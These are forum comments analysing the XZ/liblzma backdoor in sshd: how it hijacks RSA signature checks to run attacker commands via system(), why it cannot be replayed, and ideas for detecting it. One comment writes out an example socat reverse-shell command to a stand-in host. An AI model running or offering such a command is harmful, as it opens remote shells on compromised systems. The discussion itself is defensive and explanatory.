XZ backdoor: "It's RCE, not auth bypass, and gated/unreplayable."

With the right sandboxing techniques, SELinux and mitigations could prevent the attacker from doing anything with root permissions. However, applying a sandbox to an SSH daemon effectively is very difficult.

Code review? Some kind of behavioral analysis?

IMO the call to system() was kind of sloppy, and a binary capabilities scanner could have potentially identified a path to that.

Although initial detection via eg strace would be possible, if the backdoor was later removed or went quiescentit would be full trusting trust territory.

But seriously, we could have found ourselves with this in all stable repos: RHEL, Debian, Ubuntu, IoT devices 5 years from now and it would have been a much larger shit show.

That said, if you're not using it, it defeats the purpose. And the more you're using it, the higher the likelihood you will be detected down the line. Compare to Solarwinds.

As for being discovered outside the target, well we tried that exercise already, didn’t we? A bunch of people stared at the payload with valgrind et al and didn’t see it. It’s also fairly well protected from being discovered in debugging environments, because the overt infrastructure underlying the payload is incompatible with ASan and friends. And even if it is linked in, the code runs long before main(), so even if you were prodding around near or in liblzma with a debugger you wouldn’t normally observe it execute.

e: sibling suggests strace, yes you can see all syscalls after the process is spawned and you can watch the linker work. But from what I’ve gathered the payload isn’t making any syscalls at that stage to determine whether to activate, it’s just looking at argv and environ etc.

  [0] https://en.wikipedia.org/wiki/PWB/UNIX
  [1] https://news.ycombinator.com/item?id=38020792

Keeping veil of secrecy requires unimaginable amount of energy. Same goes with truth consistency. One little slip and everything goes to nothing. Sometimes single sentence can start a chain of reaction and uncover meticulous crafted plan.

That’s how crime if fought every day. Whereas police work has limited resources, software is analyzed daily by hobbyists as a hobby, professionals who still do it for a hobby, and professionals for professional reasons.

Discovery was bound to happen eventually.

XZ attack was very well executed. It’s a master piece. I wouldn’t be surprised if some state agencies would be involved. But it also was incredibly lucky. I know for sure for myself, but also many of my colleagues would go into long journey if found any of issues that are flagged right now.

One takeaway is that chance of finding such issue would be impossible if xz/liblzma wouldn’t be open source (and yes I am also aware it enabled it in the first place) but imagine this existing in Windows or MacOS.

The attacker would then be stuck inside the jump host and would have to probe where to connect next. This hopefully would then trigger an alert, causing some suspicion.

A shared instance would allow the attacker to just wait for another connection and then follow its traces, without risking triggering an alert by probing.

The ideal jump host would allow to freeze the running ssh process on an alert, either with a snapshot (VM based) or checkpointing (container based), so it can be analyzed later.

This is sort of the situation here. xz tries to decode some data before it does anything shady; since it is asymmetric; it can do the decryption without providing the secret encryption key (it has the public counterpart).

The exploit code may never be available, because it is not practical to find the secret key, and it doesn't do anything obviously different if the payload doesn't decrypt successfully. The only way to produce the exploit code would be if the secret key is found somehow; and the only real way for that to happen would be for the people who developed the backdoor to leak it.

1. sshd starts and loads the libsystemd library which loads the XZ library which contains the hack

2. The XZ library injects its own versions of functions in openssl that verify RSA signatures

3. When someone logs into SSH and presents a signed SSH certificate as authentication, those hacked functions are called

4. The certificate, in turn, can contain arbitrary data that in a normal login process would include assertions about username or role that would be used to determine if the certificate is valid for use logging in as the particular user. But if the hacked functions detect that the certificate was signed by a specific attacker key, they take some subfield of the certificate and execute it as a command on the system in the sshd context (ie, as the root user).

Unfortunately, we don’t know the attacker’s signing key, just the public key the hacked code uses to validate it. But basically this would give the attacker a way to run any command as root on any compromised system without leaving much of a trace, beyond the (presumably failed) login attempt, which any system on the internet will be getting a lot of anyway.

> Apparently the backdoor reverts back to regular operation if the payload is malformed or *the signature from the attacker's key doesn't verify*.

emphasis mine, note the "signature of the attacker's key". So unless that key is leaked, or someone breaks the RSA algorithm (in which case we have far bigger problems), it's impossible for someone else (researcher or third-party) to exploit this backdoor.

Not if public-key cryptography was used correctly, and if there are no exploitable bugs.

The exploit as shipped is a binary (cleverly hidden in the test data), not source. And it validates the payload vs. a private key that isn't known to the public. Only the attacker can exercise the exploit currently, making it impossible to scan for (well, absent second order effects like performance, which is how it was discovered).

If I'm understanding the thread correctly, here's a (not so) succinct explanation. Please, if you know better than I do, correct me if I've made an error in my understanding.

`system()` is a standard C function that takes a string as input and runs it through `sh`, like so:

    sh -c "whatever input"

    system("echo '!dlroW ,olleH' | rev");

The backdoor utilizes this function in the code that gets injected into `sshd` by way of liblzma.so, a library for the LZMA compression algorithm (commonly associated with the `.xz` extension). Jia Tan, the person at the center of this whole back door, has been a maintainer of that project for several years now.

Without going too much into how the injected code gets into the `sshd` process, the back door inserts itself into the symbol lookup process earlier than other libraries, such as libcrypto and openssl. What this means is (and I'm over-simplifying a lot), when the process needs to map usages of e.g. `SSL_decrypt_key()` that were linked to dynamic libraries (as opposed to be statically linked and thus included directly into `sshd`), to real functions, it does a string-wise lookup to see where it can find it.

It runs through a list of dynamic libraries that might have it and sees if they export it. If they do, it gets the address of the exported function and remembers where it's at so that further calls to that function can be found quickly, without another search. This is how DLLs and SOs (dynamic libraries) are linked to the process that needs them at runtime without the process needing to know exactly where the functions that they need are located.

The back door hijacks this mechanism to insert its own functions in some of those places, so that when `sshd` thinks it's calling `SSL_decrypt_key()`, it's really calling some malicious function in the back door - which can then choose to do something with the data passed to the function call, or it can choose to forward the call to the real function.

It makes use of this when `sshd` needs to validate RSA information passed to the server via a client connection during authentication. An RSA key has a bunch of fields, one of which is the 'n' field - the public key data itself. OpenSSL implements this as a BIGNUM, or a variable-length, potentially very large number. It's more or less read in as a bag of bytes, and its meaning depends on the underlying encryption algorithm. This is the mechanism behind "public key authentication" when connecting to servers, and is generally more secure than e.g. username/password authentication.

The back door intercepts the call to check the RSA data, pulls out the 'n' parameter, and tries to decrypt it using ChaCha20. There's no way for it to know if it's decrypted beforehand, but generally encryption algorithms have a way to error-check and report failures - that, or you add some well known piece of information into the encrypted data that you can verify once it's decrypted.

Either way, the back door checks to see if it's really an encrypted string. If not, it forwards the call back to the original RSA check mechanism so that sshd can process it normally.

However, if the decryption succeeds, the back door passes the decrypted string to `system()`. This means that a random client connecting to an SSH server can craft an RSA public key that is really an encrypted, malicious payload to run any arbitrary shell command under which the same user `sshd` is running - oftentimes root.

Not only that, but the back door also checks the incoming RSA structure to see if it's coming from the person who made it. This prevents any of us finding this exploit and using it ourselves, even if we know our target is infected. It's a completely exclusive back door to whomever holds the private key used by the back door to sort of 'authenticate' the exploit itself.

This is much worse than what many of us thought it was before - a public key auth bypass - which would have meant that you'd only gain access to any user allowed to log in via SSH. SSH's configuration file has a setting that disables root logins under any circumstances that is generally enabled on production systems for obvious reasons. However, with it being an RCE, SSH servers running as root would execute the payloads as root.

From there, they could easily run socat and have the system connect to a server of their choice to gain a remote interactive shell, for example:

    socat TCP:example.com:1234 SYSTEM:"bash -l"

Hope that explains it a bit.

In order to achieve their objective, they engineered a backdoor into sshd that hooks into the authentication functions which handle those keys. Whenever someone sends a key, it tries to decrypt it with the attacker's keys. If it fails, proceed as usual, it's not a payload. If it successfully decrypts, it's time for the sleeper agent to wake up and pipe that payload into a brand new process running as root.

Yet people have huge opposition for those licenses. The big scream of "not free anymore" starts and the entity gets cancelled.

Is it actually insufficient funds or is it burnout?

If you are interested in the source code that is easy to find. This code and git repo are linked all over the world, in many git repos, and the source is bundled many times in releases as well.

That's true of course, but it's not a problem specific to software. In fact, I'm not even sure it's a "problem" in a meaningful sense at all.

When you're taking a walk on a forest road, any car that comes your way could just run you over. Chances are the driver would never get caught. There is nothing you can do to protect yourself against it. Police aren't around to help you. This horror scenario, much worse than a software backdoor, is actually the minimum viable danger that you need to accept in order to be able to do anything at all. And yes, sometimes it does really happen.

But at the end of the day, the vast majority of people just don't seek to actively harm others. Everything humans do relies on that assumption, and always has. The fantasy that if code review was just a little tighter, if more linters, CI mechanisms, and pattern matching were employed, if code signing was more widespread, if we verified people's identities etc., if all these things were implemented, then such scenarios could be prevented, that fantasy is the real problem. It's symptomatic of the insane Silicon Valley vision that the world can and should be managed and controlled at every level of detail. Which is a "cure" that would be much worse than any disease it could possibly prevent.

While I can see the merits this has in building a community of contributors who are happy to work on a project, I always felt that it opens the project to grow without a clear vision or direction, and ultimately places too much burden on maintainers to fix contributions of others in order to bring them up to some common standard (which I surely expect any project to have, otherwise the mishmash of styles and testing practices would make working on the project decidedly not fun). It also delays the actual code review, which Pieter claimed does happen, to some unknown point in the future, when it may or may not be exhaustive, and when it's not clear who is actually responsible of conducting it or fixing any issues. It all sounds like a recipe for chaos where there is no control over what eventually gets shipped to users. But then again, I never worked on ZeroMQ or another project that adopted these practices, so perhaps you or someone else here can comment on what the experience is like.

And then there's this issue of malicious code being shipped. This is actually brought up by a comment on that blog post[2], and Pieter describes exactly what happened in the xz case:

> Let's assume Mallory is patient and deceitful and acts like a valid contributor long enough to get control over a project, and then slowly builds in his/her backdoors. Then careful code review won't help you. Mallory simply has to gain enough trust to become a maintainer, which is a matter of how, not if.

And concludes that "the best defense [...] is size and diversity of the community".

Where I think he's wrong is that a careful code review _can_ indeed reduce the chances of this happening. If all contributions are reviewed thoroughly, regardless if they're authored by a trusted or external contributor, then strange behavior and commits that claim to do one thing but actually do something else, are more likely to be spotted earlier than later. While OM might lead to a greater community size and diversity, which I think is debatable considering how many projects exist with a thriving community of contributors while also having strict contribution guidelines, it doesn't address how or when a malicious patch would be caught. If nobody is in charge of reviewing code, there are no testing standards, and maintainers have additional work keeping some type of control over the project's direction, how does this actually protect against this situation?

The problem with xz wasn't a small community; it was *no* community. A single malicious actor got control of the project, and there was little oversight from anyone else. The project's contribution guidelines weren't a factor in its community size, and this would've happened whether it used OM or not.

[1]: http://hintjens.com/blog:106

[2]: http://hintjens.com/blog:106/comments/show#post-2409627

Rust is arguably the programming language and/or community with the most secure set of defaults that are fairly impossible to get out of, but even at “you can’t play games with pointers” levels of security-first, the most common/endorsed path for installing it (that I do all the time because I’m a complete hypocrite) is:

https://www.rust-lang.org/tools/install

and that’s just one example, “yo dawg curl this shit and pipe it to sh so you can RCE while you bike shed someone’s unsafe block” is just muscle memory for way too many of us at this point.

Why did they implement a fully-featured backdoor and attempted to hide the way it is deployed, instead of deploying something innocent-looking that might as well be a bug if detected?

These must have been conscious decisions. The reasons might provide a hint what the goals might have been.

Unless we find that this problem has somehow infested a lot of real world systems that seems to me even worse than the time similar "experts" decided that it was best to demand people rotate their passwords every year or so thereby ensuring the real security is reduced while on paper you claim you improved it.

The backdoor's signature verification should cost around 100us, so keys matching the fingerprint should take that much longer to process than keys that do not match it. Detecting this timing difference should at least be realistic over LAN, perhaps even over the internet, especially if the scanner runs from a location close to the target. Systems that ban the client's IP after repeated authentication failures will probably be harder to scan.

(https://bench.cr.yp.to/results-sign.html lists Ed448 verification at around 400k cycles, which at 4GHz amounts to 100us)

The next time, the attackers probably manage to build a payload that doesn't cause weird latency spikes on operations that people wait on.

(For some reason this brings to mind how Kim Dotcom figured out he was the target of an illegal wiretap... because he suddenly had a much higher ping in MW3. When he troubleshooted, he found out that all his packets specifically got routed a very long physical distance through a GCSB office. GCSB has no mandate to wiretap permanent NZ residents. He ended up getting a personal apology from the NZ Prime Minister.)

I think the most ingenious part was picking the right project to infiltrate. Reading "Hans'" IFUNC pull request discussion is heart-wrenching in hindsight, but it really shows why this project was chosen.

I would love to know how many people where behind "Jia" and "Hans" analyzing and strategizing communication and code contributions. Some aspects, like those third tier personas faking pressure on mailing lists, seem a bit carelessly crafted, so I think it's still possible this was done by a sophisticated small team or even single individual. I presume a state actor would have people pumping out and maintaining fake personas all day for these kind of operations. I mean, would have kinda sucked, if someone thought: "Hm. It's a bit odd how rudely these three users are pushing. Who are they anyway? Oh, look they are all created at the same time. Suspicious. Why would anyone fake accounts to push so hard for this specifically? I need to investigate". Compared to the overall effort invested, that's careless, badly planned or underfunded.

- It’s subtle.

- It was built to over several years.

- If the attacker hadn’t screwed up the with the weird performance hit that triggered investigation (my dramatic theory: the attacker was horrified at the infonuclear bomb they were detonating and deliberately messed up), we likely wouldn’t know about it.

You can detest the end result while appreciating the complexity of the attack.

Not at all, no. This is probably happening way more than just this instance, unfortunately.

it's the trust that's the problem.

web of trust purists were right just ahead of the time.

That's quite a game of cat and mouse.

hope you do key selection sanitization instead of the default (nobody does). otherwise you're accepting random keys you have laying around (like github) when logging to secret.example.com

    SSH-2.0-OpenSSH_7.9p1 Debian-10+deb10u3

I found the backdoor on five of my Vultr servers as well as my MacBook Pro this evening. I certainly didn’t catch it early.

So if that’s the state of it, it could very well be too late for many many companies. Not to mention folks who rely on TOR for their safety - there could be entire chains of backdoored entry, middle and exit nodes exposing vast numbers of TOR users over the past month or so (spies included!).

  >From the upstream report [1]:
  
  > openssh does not directly use liblzma. However debian and several other
  distributions patch openssh to support systemd notification, and libsystemd
  does depend on lzma.
  
  Arch does not directly link openssh to liblzma, and thus this attack vector is not possible. You can confirm this by issuing the following command:
   
   ```
   ldd "$(command -v sshd)"
   ```
   
  However, out of an abundance of caution, we advise users to remove the malicious code from their system by upgrading either way. This is because other yet-to-be discovered methods to exploit the backdoor could exist.

Only if you're allowed to login as root, which is definitely not the case everywhere.

It is executed before that step. So just make sure you are not affected.

The only real way to be sure it's not on your system is if your liblzma version is strictly less than 5.6.0 (first infected version):

    ls -al $(ldd $(which sshd) | grep lzma | awk '{ print $3 }')

If you use a jump host, consider a different OS (e.g., BSD vs Linux). Remember this analogy with slices of Swiss cheese used during the pandemics? If one slice has a hole, the next slice hopefully won’t have a hole on the same position. The more slices you have, the better for you.

Although for remote management, you don’t want to have too many “slices” you have to manage and that can fail.

You will still be vulnerable as you can connect to an ssh server through your wireguard tunnel.

That's something that's been done for decades. It's pretty normal. What's not normal is for that to get re-done after startup. That is, one library should not be able to get that resolution process to be re-done after it's been done once. Malicious code that knows the run-time linker-loader's data structures could still re-resolve things anyways, which means that even removing this feature altogether from the run-time linker-loader wouldn't prevent this particular aspect of this attack.

I.e., you're barking up the wrong tree with (2).

My understanding is that the binary blobs were test data. Find a bug that happens on certain input. Craft a payload that both triggers the bug and does the malicious thing you want to do. Add the binary blob to /tests/files/. Then write a legitimate test to ensure that the bug goes away.

Then do some build script bullshit to somehow get that binary into the build.

Playing devil's advocate: the math doesn't change, but the environment around it does. Just off the top of my head, we have: the 32-bit to 64-bit transition, the removal of pre-C89 support (https://fedoraproject.org/wiki/Changes/PortingToModernC) which requires an autotools update, the periodic tightening of undefined behaviors, new architectures like RISC-V, the increasing amount of cores and a slowdown in the increase of per-core speed, the periodic release of new and exciting vector instructions, and exotic security features like CHERI which require more care with things like pointer provenance.